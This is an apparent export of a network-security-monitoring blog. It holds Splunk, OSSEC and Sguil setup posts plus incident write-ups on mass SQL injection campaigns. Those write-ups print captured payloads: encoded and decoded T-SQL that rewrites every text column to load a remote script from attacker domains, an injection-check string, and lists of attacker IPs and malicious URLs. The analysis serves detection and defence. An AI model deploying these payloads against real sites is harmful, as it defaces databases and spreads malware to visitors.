tag:blogger.com,1999:blog-48413415204110505972024-03-23T06:13:31.773-04:00NSM JunkieAlways changing, hopefully growingcnkhttp://www.blogger.com/profile/07166514812765506933noreply@blogger.comBlogger8125tag:blogger.com,1999:blog-4841341520411050597.post-16768472643156328132011-08-26T06:49:00.018-04:002012-09-05T22:46:36.131-04:00Google Apps authentication and Splunk SSOIt's no secret, I <3 <a href="http://www.splunk.com/">splunk</a>. But I'm not here to tell you why you NEED splunk (just take my word for it). I'm here to let you know about <a href="https://github.com/Shopify/splunk-auth-proxy">splunk-auth-proxy</a>. splunk-auth-proxy is a simple <a href="http://nodejs.org/">node.js</a> web app written in <a href="http://jashkenas.github.com/coffee-script/">coffeescript</a> which allows you to use Google Apps OpenID authentication to authenticate splunk access. It was written primarily by my co-worker <a href="https://github.com/titanous">Jonathan Rudenberg</a> with a little help from <a href="https://github.com/dneufeld">me</a>. So how do we use it?
<br />
<br />
I would highly suggest using a systems management system to automate deployment (we prefer <a href="http://www.opscode.com/chef/">chef</a>). However, here I'll provide manual installation instructions for those less fortunate sysadmins.
<br />
<br />
These instructions were tested on Ubuntu 10.04 LTS.
<br />
<br />
Start by installing <a href="http://nodejs.org/">node.js</a> and node package manager (<a href="http://npmjs.org/">npm</a>):
<br />
<br />
<span style="font-weight: bold;">install node.js and npm</span><br />
<code>
<br />sudo apt-get install python-software-properties</code><br />
<code>sudo add-apt-repository ppa:chris-lea/node.js
<br />sudo apt-get update
<br />sudo apt-get install nodejs npm</code>
<br />
<br />
<br />
<span style="font-weight: bold;">install splunk-auth-proxy</span>
<br />
<code>
<br />sudo apt-get install git-core
</code><code><br />git clone https://github.com/Shopify/splunk-auth-proxy.git</code><br />
<code>cd splunk-auth-proxy
<br />npm install
</code>
<br />
<br />
<span style="font-weight: bold;">configure splunk-auth-proxy</span>
<br />
<br />
splunk-auth-proxy requires you to specify the location of the SSL private key and certificate you want to use as well as your Google Apps domain name and secret (creating your SSL private key and certificate is outside the scope of this howto).
<br />
<br />
edit config.json<code>
<br />{
<br />"web": {
<br /> "port": "4000"
<br />},
<br />"ssl": {
<br /> "key": "./certs/privatekey.pem",
<br /> "cert": "./certs/certificate.pem"
<br />},
<br />"splunk": {
<br /> "hostname": "localhost",
<br /> "port": "8000"
<br />},
<br />"google": {
<br /> "domain": "example.com",
<br /> "secret": "mygoogleappssupersecret"
<br />}
<br />}
</code>
<br />
<span style="font-weight: bold;">configure splunk</span>
<br />
<br />
In $SPLUNK_HOME/etc/system/local/ add the following to server.conf and web.conf
<br />
<br />
server.conf<code><code>
<br />[general]
<br />trustedIP = 127.0.0.1
</code></code>
<br />
<br />
web.conf<code><code>
<br />[settings]
<br />enableSplunkWebSSL = 0
<br />trustedIP = 127.0.0.1
<br />SSOMode = strict
<br />remoteUser = Remote-User
</code>
</code>
<br />
As documented in the splunk SSO <a href="http://docs.splunk.com/Documentation/Splunk/latest/Admin/Usesinglesign-onwithSplunk#Configure_Splunk_to_work_with_SSO">docs</a>, you will need to make sure you have already set up splunk users that match your Google Apps users. The quick and dirty solution is to download your Google Apps user list as a .csv and then use a script like useradd-csv2splunk.sh, included with splunk-auth-proxy, to bulk add the users. You will need to update the script with proper splunk admin credentials and have a properly formatted .csv. The format for the .csv file is:
<br />
<br />
<code>email,firstname,lastname,splunkRole
<br />dale.neufeld@example.com,Dale,Neufeld,admin</code>
<br />
<br />
<code>chmod +x useradd-csv2splunk.sh
<br />sudo ./useradd-csv2splunk.sh users.csv
<br />
<br />processing dale.neufeld@example.com...
<br />User added.
<br />...successfully added dale.neufeld</code>
<br />
<br />
<br />
<span style="font-weight: bold;">Test launch splunk-auth-proxy</span>
<br />
<code>
<br /><code>$./node_modules/coffee-script/bin/coffee server.coffee config.json</code>
<br />
</code>Now let's see if that worked. Browse to:
<br />
<br />
<code>https://localhost:4000
<br />
</code>Hopefully you're taken to the Google login page, authenticated and passed right into splunk, fully authenticated and ready to search!
<br />
<br />
<span style="font-weight: bold;">Daemonizing splunk-auth-proxy</span>
<br />
<br />
We like runit for service start-up and supervision.
<br />
<br />
<code>$sudo apt-get install runit
<br />cd /etc/sv/
<br />sudo mkdir splunk-auth-proxy
<br />sudo touch run
<br />sudo chmod +x run
<br />sudo vim run</code>
<br />
<br />
contents of run file
<br />
<code>#!/bin/sh
<br />
<br />exec 2>&1
<br />cd /path/to/splunk-auth-proxy
<br />export NODE_ENV=production
<br />exec ./node_modules/.bin/coffee server.coffe ./config.json
</code>
<br />
<br />
configure runit logging
<br />
<code>sudo mkdir -p log/main
<br />cd log
<br />sudo touch run
<br />sudo chmod +x run
<br />sudo vim run</code>
<br />
<br />
contents of /etc/sv/splunk-auth-proxy/log/run
<br />
<code>#!/bin/sh
<br />exec svlogd -tt ./main
</code>
<br />
<br />
start splunk-auth-proxy service
<br />
<code>
<br />sudo ln -s /etc/sv/splunk-auth-proxy /etc/service/
<br />sudo sv restart splunk-auth-proxy
</code>
<br />
<br />
And there you have it! You should now have a fully functional SSO proxy sitting in front of splunk allowing your users to forget one more password! As a bonus, you also now have simple two-factor authentication capabilities ready to go if you use Google Apps two-step verification.
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />cnkhttp://www.blogger.com/profile/07166514812765506933noreply@blogger.com1tag:blogger.com,1999:blog-4841341520411050597.post-27628704409135934342010-06-24T12:37:00.007-04:002010-06-24T12:51:49.856-04:00Ongoing Mass SQLi attemptsI'm continuing to see ongoing SQLi attempts using the <a href="http://nsmjunkie.blogspot.com/2010/06/anatomy-of-latest-mass-iisasp-infection.html">same injection technique we saw a couple of weeks ago</a>. As one would expect the third-party site hosting the malicious JavaScript keeps changing. Below is a list of both the source IP addresses of the attempted SQLi attack as well as the script URL they're trying to inject:<br /><br />**Last Updated 24-Jun-2010 12:45 EDT**<br /><br />Source IP addresses of SQLi attacks:<br /><br />86.197.85.243<br />218.248.42.113<br /><br />Malicious Script URLs:<br /><br />hxxp://oem.webserviceget.ru/js.js<br />hxxp://org.webservicefull.ru/js.js<br />hxxp://kernel.webserviceget.ru/js.js<br /><br />These have been reported to <a href="http://www.malwaredomains.com/">MalwareDomains</a>, <a href="http://isc.sans.edu/index.html">ISC</a>, <a href="http://blog.sucuri.net/">Sucuri</a> and <a href="http://www.shadowserver.org/wiki/">Shadowservers</a>.cnkhttp://www.blogger.com/profile/07166514812765506933noreply@blogger.com1tag:blogger.com,1999:blog-4841341520411050597.post-32866131059406111312010-06-09T09:36:00.010-04:002010-06-11T14:39:42.999-04:00Anatomy of the latest Mass IIS/ASP infectionOver at <a href="http://blog.sucuri.net/">sucuri</a> they've blogged about the <a href="http://blog.sucuri.net/2010/06/mass-infection-of-iisasp-sites-robint-us.html">latest mass iis/asp infection</a>. I was alerted to the first attempts against some of my sites Monday June 7 at 9:30 a.m. thanks to <a href="http://www.ossec.net/">OSSEC</a>. We've seen <a href="http://nsmjunkie.blogspot.com/2008/05/its-about-time-mass-sql-injection.html">this</a><span style="text-decoration: underline;"></span> type of <a href="http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx">mass</a> <a href="https://isc.sans.org/diary.html?storyid=4139">sql</a> injection several times in the past few years so why haven't sites smartened up? Anyways, here's a quick anatomy of this specific attempt.<br /><br />Original web request (payload truncated for readability):<br /><br />2010-06-07 13:31:15 W3SVC1 webserver 192.168.1.10 GET /page.aspx utm_source=campaign&utm_medium=banner&utm_campaign=campaignid&utm_content=100x200';dEcLaRe%20@s%20vArChAr(8000)%20sEt%20@s=0x6445634C6152652040742076........6F523B2D2D%20eXEc(@s)-- 80 - 121.xx.xxx.xx HTTP/1.1 Mozilla/4.0+(compatible;+MSIE+7.0;+Windows+NT+5.1;+.NET+CLR+1.1.4322) - - www.website.com 200 0 0 32068 1685 0<br /><br />When we pull this apart we have:<br /><br />dEcLaRe @s vArChAr(8000)<br />set @s=0x6445634C6152652040742076........6F523B2D2D<br />eXEc(@s)--<br /><br />So they're essentially setting up the varaible '@s' and executing it. Next we decode the variable '@s':<br /><br />0xdEcLaRe @t vArChAr(255),@c vArChAr(255) dEcLaRe tAbLe_cursoR cUrSoR FoR sElEcT a.nAmE,b.nAmE FrOm sYsObJeCtS a,sYsCoLuMnS b wHeRe a.iD=b.iD AnD a.xTyPe='u' AnD (b.xTyPe=99 oR b.xTyPe=35 oR b.xTyPe=231 oR b.xTyPe=167) oPeN tAbLe_cursoR fEtCh next FrOm tAbLe_cursoR iNtO @t,@c while(@@fEtCh_status=0) bEgIn exec('UpDaTe ['+@t+'] sEt ['+@c+']=rtrim(convert(varchar(8000),['+@c+']))+cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E aS vArChAr(51)) where ['+@c+'] not like ''%robint%''') fEtCh next FrOm tAbLe_cursoR iNtO @t,@c eNd cLoSe tAbLe_cursoR dEAlLoCaTe tAbLe_cursoR;--<br /><br />Now they're iterating through the sysobjects table to find out your actual table names and then iterating through those and appending the final encoded string.<br /><br />cAsT(0x3C736372697074207372633D687474703A2F2F77772E726F62696E742E75732F752E6A733E3C2F7363726970743E<br /><br />decoded:<br />0x<script src=hxxp://ww.robint.us/u.js></script><br /><br />UPDATED 11/06/10<br /><br />Thanks to <a href="http://www.shadowserver.org/wiki/pmwiki.php/Calendar/20100609">shadowservers' sinkholing operation</a> the original domain is no longer serving up malware. However, overnight I captured some new attempts trying to inject a new string. This time I was able to follow the rabbit hole and so far I've found content linked to the following domains:<br /><br />hxxp://2677.in<br />hxxp://bbs.cnzz.com<br />hxxp://data.cnzz.com<br />hxxp://doc.cnzz.com<br />hxxp://go.cnzz.com<br />hxxp://liuyan.cnzz.com<br />hxxp:/miibeian.gov.cn<br />hxxp://new.cnzz.com<br />hxxp://s11.cnzz.com<br />hxxp://si1.cnzz.com<br />hxxp://tool.chinaz.com<br />hxxp://v1.cnzz.com<br />hxxp://w.cnzz.com<br />hxxp://www.cnzz.com<br />hxxp://www.lianmeng.com<br />hxxp://zs13.cnzz.com<br /><br />UPDATE #2 11/06/10<br /><br />I was able to grab the malicious flash file being served and antivirus detection is poor as usual at 2/41.<br /><br />https://www.virustotal.com/analisis/725f0cc85e34151e7e6af81a4f221b47a6825944cbaf68a4b5daf4023e5143e4-1276275724<br /><br />UPDATE #3 11/06/10<br /><br />There's some misinformation going around <a href="http://news.slashdot.org/story/10/06/11/175259/Mass-SQL-Injection-Attack-Hits-Sites-Running-IIS">here</a> and <a href="http://blog.sucuri.net/2010/06/mass-infection-of-iisasp-sites-robint-us.html">here</a> stating that this mass SQL injection attack is targeting a 3rd-party module/application. From the log samples I have this IS NOT targeted at a specific 3rd-party module but rather a generic MS-SQL injection. The fact that the samples they analysed targeted utm_* parameters is just a coincidence. I have several new samples targeting a completely custom asp.net application with completely custom parameter names.<br /><scrxxipt src="hxxp://ww.robint.us/u.js"></scrxxipt><script src="hxxp://ww.robint.us/u.js"></script>cnkhttp://www.blogger.com/profile/07166514812765506933noreply@blogger.com13tag:blogger.com,1999:blog-4841341520411050597.post-90656349695973709522010-05-11T16:05:00.005-04:002010-05-11T16:36:10.995-04:00Sguil client error with Ubuntu 10.04After running Ubuntu 10.04 at home for a couple of weeks I decided to go ahead and upgrade my work system. Everything went smooth until I went to launch the Sguil client.<br /><br />$ ./sguil.tk<br />ERROR: Cannot fine the Iwidgets extension.<br />The iwidgets package is part of the incr tcl extension and is<br />available as a port/package most systems.<br />See http://www.tcltk.com/iwidgets/ for more info.<br /><br />Iwidgets was definitely installed so I asked in #snort-gui and qru suggested the following command, which provided some direction:<br /><br />$ tclsh<br />% package require Iwidgets<br />version conflict for package "Tcl": have 8.4, need 8.5<br /><br />Sguil doesn't support Tcl8.5 so we definitely want to stick with Tcl8.4. This seems to imply we have the "wrong" version of Iwidgets however that's not quite true. Turns out that with Ubuntu Lucid 10.04 we have the "wrong" versions of itcl and itk. Ubuntu Lucid includes the following versions of itcl and itk which require Tcl8.5 and Tk8.5:<br /><br />itcl3_3.4~b1-2<br />itk3_3.3-2<br /><br />The quick and dirty solution is to remove these new versions and grab the .debs from Ubuntu Hardy.<br /><br />$ sudo apt-get remove tcl8.5<br />Reading package lists... Done<br />Building dependency tree <br />Reading state information... Done<br />The following packages were automatically installed and are no longer required:<br />java-common<br />Use 'apt-get autoremove' to remove them.<br />The following packages will be REMOVED:<br />itcl3 itk3 iwidgets4 tcl8.5 tk8.5<br />0 upgraded, 0 newly installed, 5 to remove and 9 not upgraded.<br />After this operation, 10.0MB disk space will be freed.<br />Do you want to continue [Y/n]? y<br />(Reading database ... 187845 files and directories currently installed.)<br />Removing iwidgets4 ...<br />dpkg: warning: while removing iwidgets4, directory '/usr/share/tcltk/iwidgets4.0.1' not empty so not removed.<br />Removing itk3 ...<br />Removing itcl3 ...<br />Removing tk8.5 ...<br />Removing tcl8.5 ...<br />Processing triggers for libc-bin ...<br />ldconfig deferred processing now taking place<br />Processing triggers for menu ...<br />Processing triggers for man-db ...<br /><br />Now grab the .debs for Ubuntu Hardy and install:<br /><br />http://packages.ubuntu.com/hardy/itk3<br />http://packages.ubuntu.com/hardy/itcl3<br /><br />$ sudo dpkg -i itcl3_3.2.1-3.1_amd64.deb<br /><br />$ sudo dpkg -i itk3_3.2.1-3.1_amd64.deb<br /><br />Last but not least we need to re-install Iwidgets:<br /><br />$ sudo apt-get install iwidgets4<br /><br />That's it, you should once again be able to launch the Sguil client.cnkhttp://www.blogger.com/profile/07166514812765506933noreply@blogger.com10tag:blogger.com,1999:blog-4841341520411050597.post-35231683294886202832009-02-02T13:18:00.007-05:002009-02-02T13:49:13.042-05:00OSSEC and Splunk<blockquote></blockquote>Here's how I configured OSSEC to send alerts to Splunk:<br /><br />In ossec.conf add a syslog_output block specifying your Splunk system IP address and the port your network input is listening on:<br /><br /> <syslog_output><br /> <server>172.10.2.3</server><br /> <port>10002</port><br /> </syslog_output><br /><br /><br />Now you need to enable the syslog_output module and restart OSSEC:<br /><br />#/var/ossec/bin/ossec-control enable client-syslog<br />#/var/ossec/bin/ossec-control restart<br /><br />On restart you'll see ossec-csyslogd starting up. Now for the Splunk side.<br /><br /><br />You have a few options on how to receive OSSEC alerts. The two options I've looked at are a standard Splunk network input or syslog-ng. I would suggest using syslog-ng and either the FIFO or file destination method. This way when you need to restart Splunk, which can be rather frequent, you won't lose events like you would with the Splunk network input. Here, for simplicity I'll just walk through the Splunk network input method.<br /><br />The easiest method is by adding this stanza to inputs.conf:<br /><br />$SPLUNK_HOME/etc/system/local/inputs.conf<br /><br />[udp://172.10.2.4:10002] #IP address of OSSEC server<br />disabled = false<br />sourcetype = ossec<br /><br />By setting the sourcetype as OSSEC you're ready to take advantage of the Splunk for OSSEC app which will be available at Splunkbase shortly (http://www.splunkbase.com/).<br /><br />Make sure you update any local or network firewalls that this communication is traversing and then restart Splunk.<br /><br />#$SPLUNK_HOME/bin/splunk restart<br /><br />You can accomplish this using Splunk Web or Splunk CLI as documented here: http://www.splunk.com/base/Documentation/3.4.5/admin/NetworkPorts<br /><br />If you have any tweaks or improvements to configuration or the Splunk for OSSEC app please let me know!cnkhttp://www.blogger.com/profile/07166514812765506933noreply@blogger.com2tag:blogger.com,1999:blog-4841341520411050597.post-65371916159465389822008-05-09T23:05:00.007-04:002008-05-09T23:12:48.692-04:00OSSEC v1.5 ReleasedYeah I know this is old news by now but I just wanted to congratulate dcid on the latest OSSEC release!<br /><br /><a href="http://www.ossec.net/main/ossec-v15-released">http://www.ossec.net/main/ossec-v15-released</a><br /><br />I'm really excited about the new centralized agent control functionality. With this feature centralized configuration management shouldn't be far off.<br /><br />If you aren't running OSSEC yet you should definitely check it out!cnkhttp://www.blogger.com/profile/07166514812765506933noreply@blogger.com0tag:blogger.com,1999:blog-4841341520411050597.post-92055846337025764722008-05-09T22:08:00.007-04:002008-05-10T11:35:47.310-04:00It's about time . . . mass sql injection variantIt's been around 2 months since the <a href="https://isc.sans.org/diary.html?storyid=4139">ISC</a> and the <a href="http://blogs.technet.com/neilcar/archive/2008/03/15/anatomy-of-a-sql-injection-incident-part-2-meat.aspx">Microsoft CSS security team</a> posted articles about a pretty major mass sql injection that affected over 10,000 websites. I was wondering when they'd finally hit some of the domains I monitor. Well today was my lucky day. The attempted injection I captured was almost identical to the ones described in the links above except for a couple small details.<br /><br />1. First of all there was never an initial attempt to determine if the ASP page was vulnerable. The documented attack contained a simple injection check like this:<br /><br /><span style="font-size:85%;">www.domain.com/index.asp?var=foo'%20and%20char(124)%2Buser%2Bchar(124)=0%20and%20''='</span><br /><br />So why no injection check? My guess is that someone ripped off the rather slick payload delivery but didn't feel like building in the logic required to perform the initial injection checks. Why do you need to perform any checking? Why not just attempt payload delivery and move on.<br /><br />2. The only difference in the payload attempt was a new script tag:<br /><br />Decoded payload delivery:<br /><br /><span style="font-size:85%;">DECLARE @T varchar(255),@C varchar(255)<br />DECLARE Table_Cursor CURSOR FOR<br />select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and<br />a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167)<br />OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C<br />WHILE(@@FETCH_STATUS=0) BEGIN<br />exec('update ['+@T+'] set<br />['+@C+']=rtrim(convert(varchar,['+@C+']))+''<script<br />src=http://www.ririwow.cn/jp.js></script>''')<br />FETCH NEXT FROM Table_Cursor INTO @T,@C<br />END<br />CLOSE Table_Cursor<br />DEALLOCATE Table_Cursor</span><br /><br />I tried wgetting the j*p.js to dig a little further but it had already been removed from the site.<br /><br />Protection and Detection:<br /><br />With the widespread success these attacks are seeing I'm sure they'll continue for the forseeable future. I highly suggest performing a code review on your web applications to ensure proper data input validation. SQL injection attacks are rather trivial to <a href="http://www.owasp.org/index.php/Top_10_2007-A2">defend</a> <a href="http://weblogs.asp.net/scottgu/archive/2006/09/30/Tip_2F00_Trick_3A00_-Guard-Against-SQL-Injection-Attacks.aspx">against</a> and yet this attack vector is number 2 on the <a href="http://www.owasp.org/index.php/Top_10_2007">OWASP top 10</a>.<br /><br />Since these attacks keep showing up I would highly suggest implementing some form of detection. <a href="http://ossec.net/">OSSEC HIDS</a> does a great job alerting on common web application attacks. Some other protection and detection options include web application firewalls, reverse proxies, or NIDS.cnkhttp://www.blogger.com/profile/07166514812765506933noreply@blogger.com0tag:blogger.com,1999:blog-4841341520411050597.post-69032232863281313122008-05-09T19:48:00.003-04:002008-05-09T21:44:53.622-04:00Hello WorldWelcome to the NSM Junkie blog, network security monitoring and other security topics as seen by cnk.cnkhttp://www.blogger.com/profile/07166514812765506933noreply@blogger.com0